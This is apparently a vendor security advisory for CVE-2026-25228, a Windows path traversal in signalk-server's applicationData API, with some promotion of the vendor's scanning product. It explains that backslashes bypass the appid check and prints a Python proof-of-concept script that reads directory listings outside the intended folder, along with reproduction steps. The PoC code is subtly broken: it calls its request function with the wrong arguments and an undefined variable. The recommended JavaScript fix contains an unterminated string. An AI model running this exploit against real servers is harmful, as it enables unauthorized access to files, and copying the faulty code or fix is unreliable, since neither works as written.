CVE-2026-25228 is a medium-severity (CVSS 5) Path Traversal vulnerability in signalk-server. A fix is available for signalk-server — see the affected versions and patch details below.
SignalK Server has Path Traversal leading to information disclosure
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-25228.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-25228 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 379,145 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
signalk-servernpmDescription
Summary
A Path Traversal vulnerability in SignalK Server's applicationData API allows authenticated users on Windows systems to read, write, and list arbitrary files and directories on the filesystem. The validateAppId() function blocks forward slashes (/) but not backslashes (\), which are treated as directory separators by path.join() on Windows. This enables attackers to escape the intended applicationData directory.
Details
Platform: Windows (Linux only allows traversal up a single directory) Authentication Required: Yes (ability to write depends on user's permission)
The vulnerability exists in the validateAppId() function within the applicationData API handler. This function validates the appid parameter but only checks for forward slashes:
// Simplified vulnerable code pattern
function validateAppId(appid) {
if (appid.includes('/') || appid.length >= 30) {
return false;
}
return true;
}
// Later used in path construction
const dataPath = path.join(configPath, 'applicationData', 'users', deviceId, appid);
Root Cause:
- The validation only blocks
/characters - On Windows,
path.join()uses the platform's native path separator - Windows treats both
/and\as valid directory separators - Backslash-based traversal sequences like
..\..\..pass validation - When
path.join()processes these on Windows, each..traverses up one directory level
PoC
#!/usr/bin/env python3
import argparse
import http.client
import json
import sys
from urllib.parse import urlparse
PREFIX = "/signalk/v1/applicationData"
def raw_get(base, path, token):
"""
GET using http.client so that '..' and backslashes in the URL
are sent literally (requests/urllib would normalise them away).
"""
parsed = urlparse(base)
host, port = parsed.hostname, parsed.port or 80
conn = http.client.HTTPConnection(host, port)
conn.request("GET", path, headers={"Authorization": f"Bearer {token}"})
resp = conn.getresponse()
status = resp.status
body = resp.read().decode("utf-8", errors="replace")
conn.close()
return status, body
def main():
ap = argparse.ArgumentParser(description="Signal K Windows path traversal PoC")
ap.add_argument("--target", required=True, help="e.g. http://192.168.1.100:3000")
ap.add_argument("--token", required=True, help="any valid JWT token")
args = ap.parse_args()
base = args.target.rstrip("/")
# On Windows, path.join(configPath, "applicationData", "users", id, appid)
# resolves each '..' upward when separated by backslashes.
#
# Depth from base (configPath/applicationData/users/):
# .. → applicationData/users/ (1 level)
# ..\.. → applicationData/ (2 levels)
# ..\..\.. → configPath (.signalk) (3 levels)
# ..\..\..\.. → user home directory (4 levels)
traversals = [
("..\\..\\..\\", ".signalk config directory"),
("..\\..\\..\\..\\", "user home directory"),
]
for appid, description in traversals:
path = f"{PREFIX}/user/{appid}"
status, body = raw_get(base, path, token, args.token)
print(f"[{status}] {description}")
print(f" GET {path}")
if status == 200:
try:
entries = json.loads(body)
for entry in entries:
print(f" {entry}")
except json.JSONDecodeError:
print(f" {body[:200]}")
else:
print(f" {body[:200]}")
print()
if __name__ == "__main__":
main()
Reproduction Steps:
- Set up SignalK Server on a Windows machine
- Obtain a valid device or user authentication token
- Run the PoC script:
python3 poc_windows_appid_traversal.py --target http://[signalK server IP]:3000 --token <YOUR_TOKEN>
Recommended Fix
Short-term:
-
Add backslash validation to
validateAppId():function validateAppId(appid) { if (appid.includes('/') || appid.includes('\') || appid.length >= 30) { return false; } return true; } -
Use
path.normalize()and validate that resolved paths remain within the intended directory:const resolvedPath = path.normalize(path.join(baseDir, appid)); if (!resolvedPath.startsWith(path.normalize(baseDir))) { throw new Error('Invalid path'); }
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | signalk-server | all versions | 2.20.3npm install signalk-server@2.20.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for signalk-server, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update signalk-server to 2.20.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-25228 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-25228 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-25228. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-25228 in your dependencies?
O3 Security finds CVE-2026-25228 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.